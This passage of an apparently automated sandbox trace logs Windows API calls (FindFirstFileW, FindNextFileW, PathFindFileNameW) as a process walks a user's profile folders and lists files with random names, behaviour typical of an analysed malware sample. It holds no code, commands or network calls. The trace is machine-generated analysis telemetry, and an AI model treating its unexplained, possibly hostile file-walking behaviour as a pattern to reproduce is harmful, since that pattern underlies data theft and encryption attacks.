ftLastWriteTime.dwLowDateTime=0x87cd7800, ftLastWriteTime.dwHighDateTime=0x1d4d540, nFileSizeHigh=0x0, nFileSizeLow=0x966f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WeVqD nbZp92oNA.m4a", cAlternateFileName="WEVQDN~1.M4A")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac231e20, ftCreationTime.dwHighDateTime=0x1d4cb28, ftLastAccessTime.dwLowDateTime=0xc7950500, ftLastAccessTime.dwHighDateTime=0x1d4d1cd, ftLastWriteTime.dwLowDateTime=0xc7950500, ftLastWriteTime.dwHighDateTime=0x1d4d1cd, nFileSizeHigh=0x0, nFileSizeLow=0x8245, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wvHO9AOpGnVIgBmE4Z.m4a", cAlternateFileName="WVHO9A~1.M4A")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b8ba4a0, ftCreationTime.dwHighDateTime=0x1d4d112, ftLastAccessTime.dwLowDateTime=0x392fd3d0, ftLastAccessTime.dwHighDateTime=0x1d4c6ab, ftLastWriteTime.dwLowDateTime=0x392fd3d0, ftLastWriteTime.dwHighDateTime=0x1d4c6ab, nFileSizeHigh=0x0, nFileSizeLow=0x841a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xAv5C.mp3", cAlternateFileName="")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bec9c0, ftCreationTime.dwHighDateTime=0x1d4c62a, ftLastAccessTime.dwLowDateTime=0xd381b650, ftLastAccessTime.dwHighDateTime=0x1d4cb07, ftLastWriteTime.dwLowDateTime=0xd381b650, ftLastWriteTime.dwHighDateTime=0x1d4cb07, nFileSizeHigh=0x0, nFileSizeLow=0xd4dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y5PNwRSJ-BzEU_pWoMG7.wav", cAlternateFileName="Y5PNWR~1.WAV")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 0 [0112.758] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.758] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.758] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0112.758] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.759] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.759] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.759] PathFindFileNameW (pszPath="") returned="" [0112.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 0xffffffff [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.759] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0112.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.759] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.759] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.759] PathFindFileNameW (pszPath="") returned="" [0112.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 0xffffffff [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.759] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0112.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.759] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.760] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.760] PathFindFileNameW (pszPath="") returned="" [0112.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x967e0290, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x967e0290, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.760] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x967e0290, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x967e0290, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.760] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd425d0, ftCreationTime.dwHighDateTime=0x1d4c848, ftLastAccessTime.dwLowDateTime=0x54dfddf0, ftLastAccessTime.dwHighDateTime=0x1d4c575, ftLastWriteTime.dwLowDateTime=0x54dfddf0, ftLastWriteTime.dwHighDateTime=0x1d4c575, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1E-1x-bA_f", cAlternateFileName="1E-1X-~1")) returned 1 [0112.760] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.760] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfffd63b0, ftCreationTime.dwHighDateTime=0x1d4cf70, ftLastAccessTime.dwLowDateTime=0x34d190c0, ftLastAccessTime.dwHighDateTime=0x1d4caf3, ftLastWriteTime.dwLowDateTime=0x34d190c0, ftLastWriteTime.dwHighDateTime=0x1d4caf3, nFileSizeHigh=0x0, nFileSizeLow=0xc502, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vs4jAA0 zd1HqzIZFr.gif", cAlternateFileName="VS4JAA~1.GIF")) returned 1 [0112.760] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 1 [0112.760] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 0 [0112.760] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.760] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.760] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0112.760] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.760] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.760] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.760] PathFindFileNameW (pszPath="") returned="" [0112.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 0xffffffff [0112.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.761] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.761] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0112.761] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.761] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.761] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.761] PathFindFileNameW (pszPath="") returned="" [0112.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 0xffffffff [0112.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.761] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.761] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0112.761] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.761] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.761] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.761] PathFindFileNameW (pszPath="") returned="" [0112.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.761] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.761] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.761] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0112.762] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.762] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0112.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.762] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.762] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.762] PathFindFileNameW (pszPath="") returned="" [0112.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.762] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.762] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.762] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0112.762] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0112.762] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0112.762] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.762] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0112.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.763] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.763] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.763] PathFindFileNameW (pszPath="") returned="" [0112.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.763] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0112.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.763] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.763] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.763] PathFindFileNameW (pszPath="") returned="" [0112.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 